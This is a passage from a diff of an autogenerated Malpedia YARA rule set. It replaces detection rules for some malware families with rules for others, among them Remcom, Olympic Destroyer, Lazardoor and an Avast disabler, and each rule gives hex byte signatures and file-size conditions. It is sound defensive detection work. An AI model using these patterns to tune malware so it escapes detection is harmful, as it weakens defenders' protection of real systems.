MALPEDIA_Win_Remcom_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a02 68???????? ffd7 8d4df4 51 6aff 6a00 } - $sequence_1 = { 033485e0fc4000 c745e401000000 33db 395e08 7536 6a0a e8???????? } - $sequence_2 = { e8???????? 8be5 5d c3 53 56 8d95f8feffff } - $sequence_3 = { 56 8b7508 57 8b7d0c 6a44 } - $sequence_4 = { ff15???????? 6a00 6a00 6a01 8d4de0 } - $sequence_5 = { 33c0 57 8945f8 8945fc 6a01 8d45e0 } - $sequence_6 = { 8b7508 57 8b7d0c 6a44 8d85a0feffff } - $sequence_7 = { 8bf8 3bfb 746a 56 68ff010f00 68???????? } - $sequence_8 = { ffd7 8945f0 eb51 33db 391e 763d } - $sequence_9 = { 50 6814120000 8d8de8edffff 51 56 } + $sequence_0 = { ffd0 f7d8 1bc0 f7d8 8be5 } + $sequence_1 = { ff15???????? eb0a 57 6a08 } + $sequence_2 = { ff15???????? eb02 33c0 46 } + $sequence_3 = { ff15???????? eb02 33db 8b4df4 } + $sequence_4 = { ff15???????? e9???????? 8d43f4 3d???????? 0f84c1000000 833d????????00 } + $sequence_5 = { e8???????? 8b75fc 8b4df0 83c305 8a4513 } + $sequence_6 = { ff15???????? f6c301 0f8414010000 8d46fc } + $sequence_7 = { ff30 e8???????? 8bc7 5f 5e 5b } + $sequence_8 = { 8bf8 c785d4fdffff2c020000 8d85d4fdffff 50 57 68???????? } + $sequence_9 = { 8d4f14 8b18 8b7004 8d45e8 } + $sequence_10 = { 8bf8 8d442428 6a50 50 897c2424 } + $sequence_11 = { 8d4f2c e8???????? 84c0 7578 } + $sequence_12 = { 8bf8 c744242000000000 f7642424 8bcf 0fafcd 8bd8 8b44241c } + $sequence_13 = { 8bf8 8b4c242c 03f2 03710c } + $sequence_14 = { 8d4f20 e8???????? 84c0 750f } + $sequence_15 = { 8d4f10 e8???????? 8d4f30 8b30 8b5004 8d45f0 } + $sequence_16 = { 8d4f34 e8???????? 8d4f14 8b18 } + $sequence_17 = { 8bf8 8db508040000 b917000000 53 } + $sequence_18 = { 8d4f28 89471c 33c0 c6472000 } + $sequence_19 = { 8bf8 897dec 33db 66895f0c 895dfc 8b450c } + $sequence_20 = { 8d4f30 e8???????? 8b470c 8d4d10 } condition: - 7 of them and filesize < 155648 + 7 of them and filesize < 3063808 } -rule MALPEDIA_Win_Ruckguv_Auto : FILE +rule MALPEDIA_Win_Skip20_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0458bbf5-faad-51b1-bbf4-5951261d0eab" + id = "3a4637b8-f789-501b-b30e-9b5c38cc0f0d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ruckguv" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ruckguv_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.skip20" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.skip20_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "45b231c70efe5a17389a0b484f9ffc2309c40182fd8d298e6f80ad3ac2eb154c" + logic_hash = "37102bdc96bcca2b357e821094999917631ae97c09451ffb93720795a4f9e949" score = 75 quality = 75 tags = "FILE" @@ -94967,32 +95158,32 @@ rule MALPEDIA_Win_Ruckguv_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 750f 56 50 53 } - $sequence_1 = { 50 8d4640 50 8d4340 50 } - $sequence_2 = { 51 56 8b7508 8b463c 03c6 } - $sequence_3 = { ff75fc ffd0 5f 5e 8bc3 5b } - $sequence_4 = { a5 a5 66a5 a4 33f6 56 8d453c } - $sequence_5 = { ffd0 8d859cfdffff 50 68???????? } - $sequence_6 = { 884d13 8a8801010000 33ff 884dff 397d0c 763d 53 } - $sequence_7 = { 7908 49 81c900f0ffff 41 0fb7c9 } - $sequence_8 = { 57 8d8598fcffff 50 8d85a0feffff 68???????? 50 ff555c } - $sequence_9 = { 8d859cfdffff 50 68???????? e8???????? 6814f1f808 } + $sequence_0 = { 0fb74114 8b540824 4803d3 8b7c0820 4885d2 0f840b1d0000 } + $sequence_1 = { 488d0c40 4c8d0584fe0100 4d8b04c8 488bd7 } + $sequence_2 = { 894c2430 89542428 488d15fd2c0100 e9???????? 4c896c2450 66c744245cff25 } + $sequence_3 = { 488d0db5220100 e8???????? eb4a 4c896c2450 440fb74c2472 440fb7442470 } + $sequence_4 = { 4c8d254c540100 488b0d???????? bf01000000 897c2460 } + $sequence_5 = { 8bd6 81e200004000 747e 41ff4c2418 781e } + $sequence_6 = { ffc9 7432 ffc9 0f85150a0000 814e0400000002 4180e304 } + $sequence_7 = { e8???????? 0fb64732 ffc3 3bd8 72dd 4c21aea0000000 0fb74f18 } + $sequence_8 = { 7418 0fbae119 730a f68424b800000008 7508 41be01000000 } + $sequence_9 = { 0fb744247c 89442438 0fb74c247a 894c2430 0fb7542478 89542428 488d15652f0100 } condition: - 7 of them and filesize < 41024 + 7 of them and filesize < 794624 } -rule MALPEDIA_Win_Fireball_Auto : FILE +rule MALPEDIA_Win_Clipog_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a3428bf8-96e6-53b5-b02d-f9e2f263c340" + id = "40f61fa4-a638-5725-b8b6-91b34a21950a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fireball" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fireball_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clipog" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.clipog_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "0f22d443c5f81dd9534cb92d3695167967ab7b76ab570ebe6d321bfdbed116f0" + logic_hash = "9ab729847c05f2fd79a1197d1bbe3eecdfb3d818a19100d3fd94f6d00b4e49b5" score = 75 quality = 75 tags = "FILE" @@ -95006,32 +95197,32 @@ rule MALPEDIA_Win_Fireball_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 837c242008 c78424c800000007000000 c78424c400000000000000 66898424b4000000 } - $sequence_1 = { 8d842484000000 50 8d9424d0000000 8d8c24a8010000 c68424cc01000009 e8???????? } - $sequence_2 = { 83c404 33c0 83bc249800000008 c744246807000000 c744246400000000 } - $sequence_3 = { 83bc24b000000008 c784248000000007000000 c744247c00000000 668944246c 7228 } - $sequence_4 = { 8b0e e8???????? eb2a ff750c } - $sequence_5 = { 5e c3 55 8bec 8b4508 ff34c5a8f52400 } - $sequence_6 = { 3a503a 683a783a7c 3a803a843a98 3a9c3aa03ab83a } - $sequence_7 = { 0f43842480000000 6a00 50 ffd7 8d442464 50 } - $sequence_8 = { e9???????? 8d8d44fbffff e9???????? 8d8d44fbffff e9???????? 8b542408 8d823cfbffff } - $sequence_9 = { 80bda7fdffff00 8b5d1c 8b7d18 8b7508 741d 57 8d4508 } + $sequence_0 = { 488b4b18 6685c0 740c 488d1552e70100 } + $sequence_1 = { 488d1552e70100 e9???????? 488d154ae70100 e9???????? b910000000 } + $sequence_2 = { 760c 488d0d5fec0100 e8???????? 48397b18 730d 488bd7 } + $sequence_3 = { 753b 488b41f8 483bc1 7338 482bc8 4883f908 7235 } + $sequence_4 = { 4883f808 725d 48ffc0 488b4c2448 493bc4 7606 e8???????? } + $sequence_5 = { 488bda 4c8d0d1fbc0000 8bf9 488d1586a10000 b906000000 4c8d0502bc0000 e8???????? } + $sequence_6 = { 488b05???????? 4833c4 488985a0040000 4c8b95f8040000 488d0524160100 0f1000 } + $sequence_7 = { 488d158ee80100 e9???????? b910000000 ff15???????? 488b4b18 } + $sequence_8 = { e8???????? 90 4c8d0556ea0100 488bd0 } + $sequence_9 = { 488d1599100200 488d0d9a100200 e8???????? 488bd8 488d4c2430 48837c244810 480f434c2430 } condition: - 7 of them and filesize < 335872 + 7 of them and filesize < 372736 } -rule MALPEDIA_Win_Unidentified_103_Auto : FILE +rule MALPEDIA_Win_Playwork_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b558874c-ad8a-53b0-9aa8-68edfb2b5b00" + id = "253bcdde-b9c7-5158-90ca-b4dcc36f9889" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_103" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_103_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.playwork" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.playwork_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "53bab14606fb94c26c9c4250a4ba5d5b69e3e483ae51cdbc9cd021b3f09f3c4b" + logic_hash = "93e0526e64b6e0ff6fb1dc40df8f238384033948c1e004d69238a8eee94e726f" score = 75 quality = 75 tags = "FILE" @@ -95045,32 +95236,32 @@ rule MALPEDIA_Win_Unidentified_103_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 89c3 ffd6 897c2408 c744240400000000 890424 ff942488000000 } - $sequence_1 = { 897c2434 8bbc2450010000 894c2430 8b8c244c010000 } - $sequence_2 = { 8944246c 8d842419010000 c784241901000061647661 c784241d01000070693332 c78424210100002e646c6c 890424 } - $sequence_3 = { 8b3c24 85ff 743a c6012d c6441e0200 89d3 0fb60c06 } - $sequence_4 = { 8b8424c4000000 ffd0 83ec04 c684249001000000 8dac240c060000 c78424c403000000000000 } - $sequence_5 = { 8b842440010000 89442418 8b842438010000 89442414 8b8424d0000000 8b00 89442404 } - $sequence_6 = { 8d54244a 83c001 803c0200 75f7 8b8c2498000000 c744240c34020000 } - $sequence_7 = { c78424a60000007072696e c68424ac00000000 e8???????? b865000000 31db c784241c03000028010000 c7842433010000576d6950 } - $sequence_8 = { 89442404 c78424d201000052656164 c78424d601000046696c65 c68424da01000000 e8???????? 891c24 8984241c010000 } - $sequence_9 = { 897c2420 8bbc2444010000 897c241c 8bbc2440010000 897c2418 8bbc2488010000 } + $sequence_0 = { 85c0 59 8945f0 0f84d4010000 8d4df4 } + $sequence_1 = { eb02 32db 8ac3 8acb c0e807 d0e1 } + $sequence_2 = { 57 8d857ce9ffff 56 50 6800004004 8d4de0 ff7510 } + $sequence_3 = { 8bd0 8d85e8afffff 50 8955ec ffd3 8b4dec } + $sequence_4 = { 53 50 8d4510 6a08 50 57 ffd6 } + $sequence_5 = { c1eb18 330c95344b3f00 8b55e0 8b349d34573f00 c1ea10 } + $sequence_6 = { 50 8d85b8ebffff 68???????? 50 e8???????? 83c444 8d85b8ebffff } + $sequence_7 = { e8???????? 8b45fc 83c40c 668b4008 50 ff15???????? 0fb7c0 } + $sequence_8 = { a4 284405c8 40 83f822 7cf6 } + $sequence_9 = { 8bce 8975e8 c1e918 8b3c8d34573f00 8b4de0 333c9534533f00 } condition: - 7 of them and filesize < 188416 + 7 of them and filesize < 360448 } -rule MALPEDIA_Win_Httpsuploader_Auto : FILE +rule MALPEDIA_Win_Coredn_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "96408757-8238-57f6-8412-86b6523d9a84" + id = "07ee8205-8782-52d9-9a53-818875f21066" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.httpsuploader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.httpsuploader_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.coredn" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.coredn_auto.yar#L1-L165" license_url = "N/A" - logic_hash = "6d3671102275ad7b87147a31f1d30011248bd9c06ff651580514d36fdd35a180" + logic_hash = "67a00f5807f423f86c2e11cef6a3e34c3be3d717b80668bf24ae3e2d19c2ab6b" score = 75 quality = 75 tags = "FILE" @@ -95084,32 +95275,37 @@ rule MALPEDIA_Win_Httpsuploader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 41b8fe010000 6689bdf0020000 e8???????? 488d8df2040000 } - $sequence_1 = { 33c0 488d4c2422 33d2 41b8fe010000 } - $sequence_2 = { 458d4103 ba00000080 c744242880000000 4c89ac2498040000 } - $sequence_3 = { 03df 3bde 72ad 488b5c2448 488b7c2420 b801000000 4883c428 } - $sequence_4 = { ffca 750d 4d85c0 7408 498bc8 e8???????? } - $sequence_5 = { 40387598 e9???????? 48895c2408 4889742410 48897c2418 } - $sequence_6 = { 48897c2420 895c2440 895c2450 85d2 745e 6666660f1f840000000000 } - $sequence_7 = { e8???????? eb40 4c8d2569be0000 488b0d???????? e9???????? 4c8d2566be0000 } - $sequence_8 = { e8???????? 488d8de2000000 33d2 41b806020000 6689bde0000000 } - $sequence_9 = { 7528 48833d????????00 741e 488d0db1f40000 } + $sequence_0 = { 51 56 8d45fc 8bf1 50 e8???????? 85c0 } + $sequence_1 = { 8b7508 ba04010000 2bf1 6690 } + $sequence_2 = { 84c0 7415 8801 41 83ea01 } + $sequence_3 = { 5e 8be5 5d c20400 85c9 7506 48 } + $sequence_4 = { 8a1c06 84db 741c 8818 4a 40 83e901 } + $sequence_5 = { 0f1f440000 3811 7408 41 83e801 75f6 eb04 } + $sequence_6 = { 41 83ea01 75e7 8851ff b87a000780 5e } + $sequence_7 = { 75ec 48 bf7a000780 8808 8bc7 5f 5b } + $sequence_8 = { 85d2 7417 0fb73407 6685f6 740e } + $sequence_9 = { d3c8 3305???????? 3905???????? 0f8594070000 } + $sequence_10 = { 83e13f c1f806 6bc930 8b048508414100 } + $sequence_11 = { 8b30 8bd6 c1fa06 8bc6 83e03f 6bc830 8b049508414100 } + $sequence_12 = { eb57 53 8b1c85e8dd4000 56 6800080000 6a00 53 } + $sequence_13 = { b802000000 833d????????00 0f85b00a0000 8d0d60104100 } + $sequence_14 = { 8b0c8d08414100 c644112800 85f6 740c 56 } condition: - 7 of them and filesize < 190464 + 7 of them and filesize < 270336 } -rule MALPEDIA_Win_Cuba_Auto : FILE +rule MALPEDIA_Win_Salgorea_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "86d7ccf5-17e2-58df-93e2-25197c1f8e94" + id = "24c723a2-add3-5c98-ac68-d74df04ec748" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cuba" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cuba_auto.yar#L1-L160" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.salgorea" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.salgorea_auto.yar#L1-L164" license_url = "N/A" - logic_hash = "06e63a9dd7221f555e50b6728a34cba72d1d2d067337f699676a2804a6a34058" + logic_hash = "269f1f65813d46929a9206777195f8973f6aec01fe1e29b4790465e302c7f726" score = 75 quality = 75 tags = "FILE" @@ -95123,40 +95319,40 @@ rule MALPEDIA_Win_Cuba_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 7810 3de4000000 7309 8b04c510704100 5d } - $sequence_1 = { c3 8bff 55 8bec 8b4d08 33c0 3b0cc5905d4100 } - $sequence_2 = { 0019 43 41 00444341 } - $sequence_3 = { 8bd6 c745ac749f4100 8bce 0fb707 } - $sequence_4 = { 000d???????? 384100 b538 41 } - $sequence_5 = { 0026 45 41 003a } - $sequence_6 = { 0026 43 41 00b043410062 } - $sequence_7 = { 0012 45 41 0026 } - $sequence_8 = { 83e801 0f8501010000 c745e004934100 8b4508 } - $sequence_9 = { ff24953c354000 c7878c00000001000000 85c9 747e 3bc6 730a } - $sequence_10 = { 660fc5c400 25f0070000 660f28a040974100 660f28b830934100 660f54f0 660f5cc6 660f59f4 } - $sequence_11 = { ffd7 85c0 750c e8???????? 5f } - $sequence_12 = { 000c43 41 0035???????? 43 } - $sequence_13 = { 003a 45 41 004245 } - $sequence_14 = { 7414 8d85c0f9ffff 50 56 ff15???????? 85c0 75e6 } - $sequence_15 = { 000446 41 00d1 45 } + $sequence_0 = { 893424 57 a1???????? 33c5 50 } + $sequence_1 = { 81e1ab000000 8b4c2414 f7d3 8b5c2418 53 9d } + $sequence_2 = { 66b9ad00 66f7e1 2bcb 80ef1f 59 } + $sequence_3 = { e8???????? 8b4510 2bfb 3bc7 0f8302000000 8bf8 3bf1 } + $sequence_4 = { 53 52 8d9c10f47e0000 6699 66c1e303 f6d1 } + $sequence_5 = { 8d6424fc 8d6424d0 9c 51 f6d1 9c } + $sequence_6 = { 80e6ee f8 f6d1 52 40 f7d3 8b5c2404 } + $sequence_7 = { 41 6681c1db00 8b4c2410 66c1e804 8b44240c } + $sequence_8 = { a1???????? 8945cc 8d45cc 3930 } + $sequence_9 = { 8d943a9979825a 8b7df4 c1c61e 33fe } + $sequence_10 = { 8d9432dcbc1b8f 8b75fc 0b75f8 8b7dfc } + $sequence_11 = { 8d943a9979825a 8b7df0 337dfc 8bf2 } + $sequence_12 = { 8d942498030000 89542428 8b531c 894c2434 } + $sequence_13 = { 8d942490000000 e8???????? 8b03 ff7030 } + $sequence_14 = { 8d9432a1ebd96e 8b75e0 3375cc 8955ec } + $sequence_15 = { 8d942490000000 e8???????? 85c0 7403 83cfff 8bc7 85ff } condition: - 7 of them and filesize < 1094656 + 7 of them and filesize < 2007040 } -rule MALPEDIA_Win_Spectre_Auto : FILE +rule MALPEDIA_Win_Olympic_Destroyer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ab060ee1-08ad-588e-8d49-1ae94553e1b3" + id = "4acd0027-92fe-500e-bf15-82d11cf7dd70" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spectre" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spectre_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.olympic_destroyer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.olympic_destroyer_auto.yar#L1-L227" license_url = "N/A" - logic_hash = "84c50bd871d13f0a4f1a8853e9cdfc23094379080d0055ac204b2f23d3a74297" + logic_hash = "04c4fa0edf97b10dccc92d5a353a5a44b42a7347836f6e32d55d1c64914c31af" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -95168,32 +95364,45 @@ rule MALPEDIA_Win_Spectre_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bce 50 ff750c ff7508 e8???????? 8d4de4 e8???????? } - $sequence_1 = { 6bc938 53 56 8b048538324700 8b7508 57 8bfe } - $sequence_2 = { 8d4d20 e8???????? 8b4dfc 33cd 5e e8???????? c9 } - $sequence_3 = { 50 e8???????? 8b8424b4000000 83c434 8b4c247c 2bc1 83e830 } - $sequence_4 = { c605????????01 e8???????? eb0c 881d???????? 881d???????? 8b442448 bb00100000 } - $sequence_5 = { 8bcf 89442420 e8???????? 89442410 8bc3 2b442414 6a18 } - $sequence_6 = { 6a01 be???????? 8d8de4feffff 56 e8???????? 8d454c 50 } - $sequence_7 = { 8b4e0c b8ffffff7f 2bc1 3bc3 7279 83651000 8d4510 } - $sequence_8 = { 8d8c24fc010000 e8???????? 8d8424f8010000 50 8d842454010000 68???????? 50 } - $sequence_9 = { e8???????? 8b44242c 83c40c 0430 89442420 8b44245c 8b542420 } + $sequence_0 = { 56 33c0 89542414 57 } + $sequence_1 = { 85c0 7453 8b44242c 8d4c2410 } + $sequence_2 = { ffd7 85c0 0f848c000000 68???????? 8d85c0f9ffff 50 } + $sequence_3 = { 8985d4f7ffff 8d8580f7ffff 56 50 89b5d8f7ffff } + $sequence_4 = { 51 8bce 8b4004 894510 e8???????? 8b4d10 } + $sequence_5 = { 51 8bcf 89442424 e8???????? 8b542424 } + $sequence_6 = { 51 8bcb 8975c4 e8???????? 83c404 8945e4 } + $sequence_7 = { 83e801 743e 83e805 756d 50 50 8b4104 } + $sequence_8 = { 8945fc 53 56 8d45e8 33f6 50 8975e8 } + $sequence_9 = { ff15???????? 85c0 0f88ac000000 6a00 } + $sequence_10 = { 51 8bce 8d52ff e8???????? 83c408 85c0 0f851f040000 } + $sequence_11 = { 51 8bce 8944244c 89bc2480000000 } + $sequence_12 = { 3bc6 742a 0185f0efffff 8b85ecefffff } + $sequence_13 = { a4 4a 40 00d0 4a 40 } + $sequence_14 = { ff74241c ff15???????? 5f 33c0 5e 40 5b } + $sequence_15 = { 0f8794020000 ff2485bc4b5500 51 8d542454 e8???????? 83c404 85c0 } + $sequence_16 = { 8b6c2424 55 6a40 ff15???????? 89442418 85c0 } + $sequence_17 = { 51 8bcb e8???????? 8a45dc } + $sequence_18 = { 89442414 e8???????? 85c0 7415 8d4e08 } + $sequence_19 = { 89442430 8b442444 89442434 751f } + $sequence_20 = { 51 8bce e8???????? 6a00 68???????? } + $sequence_21 = { 50 ffd7 85c0 747a ffb590f9ffff e8???????? eb5f } + $sequence_22 = { 56 ff15???????? 6880ee3600 ff15???????? } condition: - 7 of them and filesize < 990208 + 7 of them and filesize < 1392640 } -rule MALPEDIA_Win_Apocalypse_Ransom_Auto : FILE +rule MALPEDIA_Win_Lazardoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b5a0679d-3efc-5c9d-b682-041d8a2aacea" + id = "aeee5fb7-3124-5412-93e2-d397e0b6b5aa" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalypse_ransom" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.apocalypse_ransom_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazardoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lazardoor_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "8cee33b1e4eac4c1405375639b552a991305017c9df19464c32f3823d3e5b8e7" + logic_hash = "6155f61e925d37cd5ef1d71aad2d5b29beaeb971eaf97c299374ef05d14474a1" score = 75 quality = 75 tags = "FILE" @@ -95207,32 +95416,32 @@ rule MALPEDIA_Win_Apocalypse_Ransom_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6800010000 6a00 6a00 6a00 8d4c2424 51 6880000000 } - $sequence_1 = { 8d4c2414 51 ffd7 03c0 50 8b442414 } - $sequence_2 = { 8bc3 e8???????? 6a04 6800100000 68ff7f0000 6a00 } - $sequence_3 = { 8b2d???????? 52 ffd5 8d442410 } - $sequence_4 = { ff15???????? 6a03 56 ff15???????? 56 ff15???????? 5f } - $sequence_5 = { 51 68???????? 6801000080 ffd6 8b3d???????? 8d542414 52 } - $sequence_6 = { 8d542444 52 56 68???????? 8d842474020000 50 eb13 } - $sequence_7 = { 6a00 6880000000 6a03 6a00 6a01 6800000080 8d4c2440 } - $sequence_8 = { 6801000080 ffd6 8b3d???????? 8d542414 52 ffd7 8b4c2410 } - $sequence_9 = { 743b 56 68???????? ffd5 83c408 6a00 6a00 } + $sequence_0 = { 4883c024 8938 e8???????? 488d1d23ce0100 } + $sequence_1 = { e8???????? ba50540000 488b0d???????? 4533c9 4533c0 ff15???????? } + $sequence_2 = { 4803cf e8???????? 488b0e 41ffc6 4883c328 } + $sequence_3 = { 4889442420 498bd4 ff15???????? 85c0 7506 ff15???????? 4533f6 } + $sequence_4 = { 4c8bb424d0010000 488b8dc0000000 4833cc e8???????? 4881c4e8010000 415f 415d } + $sequence_5 = { 488d45e8 48894de8 488945f0 488d155cde0000 } + $sequence_6 = { 83c8ff f00fc103 83f801 7516 488d05a6470100 488b4c2430 483bc8 } + $sequence_7 = { 7873 3b1d???????? 736b 488bc3 488bf3 48c1fe06 4c8d2dbe0f0100 } + $sequence_8 = { 488d1517c4feff c1e803 89442450 8bc8 89442448 } + $sequence_9 = { 488d15c2a20200 488bce ff15???????? 85c0 0f84f3000000 48c7c7ffffffff 488bc7 } condition: - 7 of them and filesize < 40960 + 7 of them and filesize < 405504 } -rule MALPEDIA_Win_Akdoortea_Auto : FILE +rule MALPEDIA_Win_Freenki_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "273d2f0d-acc7-5ac9-9a11-3e8564a6c5a7" + id = "67ab05f0-0092-5ff4-bb96-cc24a6a94dbc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.akdoortea" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.akdoortea_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.freenki" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.freenki_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "2fa5ad11741a8504cc8c2573ed395ff2e4f2dd319c182aa1bdba253b5a1bde31" + logic_hash = "a02a6867fe9e948b2e235fe875697f9d977ad7f0e52b8303d46cef856d876490" score = 75 quality = 75 tags = "FILE" @@ -95246,32 +95455,32 @@ rule MALPEDIA_Win_Akdoortea_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 006118 40 007019 40 00411a } - $sequence_1 = { 7641 8d85f0feffff 8d5001 0f1f8000000000 8a08 } - $sequence_2 = { 8d8df0f9ffff 8d5002 e8???????? 8bf0 83c420 85f6 } - $sequence_3 = { 8bec 83ec0c 53 8bda 56 8bf1 57 } - $sequence_4 = { 50 8b04bdf8204200 ff741818 ff15???????? 85c0 0f95c0 eb02 } - $sequence_5 = { 7439 8d56ff 8a4201 8d5201 84c0 75f6 } - $sequence_6 = { 90 85f6 740b 83feff 0f859a000000 eb6c 8b1c8d10a24100 } - $sequence_7 = { e8???????? 83c414 ebe1 8b55ec 8b4de8 8b0495f8204200 807c082800 } - $sequence_8 = { 83c418 c745f803010000 8d45f8 50 8d4304 50 ff15???????? } - $sequence_9 = { ffd6 68f4010000 8bf0 ff15???????? 85ff 740e } + $sequence_0 = { ff75e4 ff15???????? 85c0 7920 8b45e4 50 8b08 } + $sequence_1 = { 89b5e4edffff 33c0 c785c0edffff00000000 50 51 8d8dccedffff c785e0edffff07000000 } + $sequence_2 = { 56 e8???????? 8b8d60ffffff 8bf8 8b45f0 83c404 8930 } + $sequence_3 = { 8bf8 83c404 85ff 0f84e4000000 6804010000 57 } + $sequence_4 = { 51 8d4dc0 c745e400000000 e8???????? c745fc00000000 } + $sequence_5 = { 0fb78194f74100 8d4902 6689840deafbffff 6685c0 75e9 56 } + $sequence_6 = { c745c000000000 c745c400000000 c745c800000000 ff15???????? 898554ffffff 57 85c0 } + $sequence_7 = { 0bc8 51 53 e8???????? 8bd8 83c408 85db } + $sequence_8 = { c3 56 57 53 ff75f4 ff75f8 } + $sequence_9 = { 83c202 6685c0 75f5 2bd1 8d8df8deffff d1fa 03d2 } condition: - 7 of them and filesize < 305152 + 7 of them and filesize < 327680 } -rule MALPEDIA_Win_Rover_Auto : FILE +rule MALPEDIA_Win_Avast_Disabler_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "451be843-c1b6-533c-b0b3-7d3bb00747ec" + id = "645a106b-f735-50ef-a098-7cdfe936ba27" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rover" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rover_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avast_disabler" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.avast_disabler_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "31c11b80e1502485f7e7215f291e9c4bbf44558d14836234edb24070e18bf1ca" + logic_hash = "d9bf9a929cf2cb5bcebd034c783b915e751fc8d18f9e66457ed913ca7fa968a1" score = 75 quality = 75 tags = "FILE" @@ -95285,32 +95494,32 @@ rule MALPEDIA_Win_Rover_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7478 8b4c2474 8d442434 50 68ff3f0000 8d83f4050000 50 } - $sequence_1 = { eb03 83c604 56 ff15???????? 33c9 83c404 84c0 } - $sequence_2 = { 8b0d???????? 50 51 6a02 6a1c 8d9424dc000000 52 } - $sequence_3 = { 8b5b10 8b44241c 8d4bfc 3bc1 745c 8928 83c004 } - 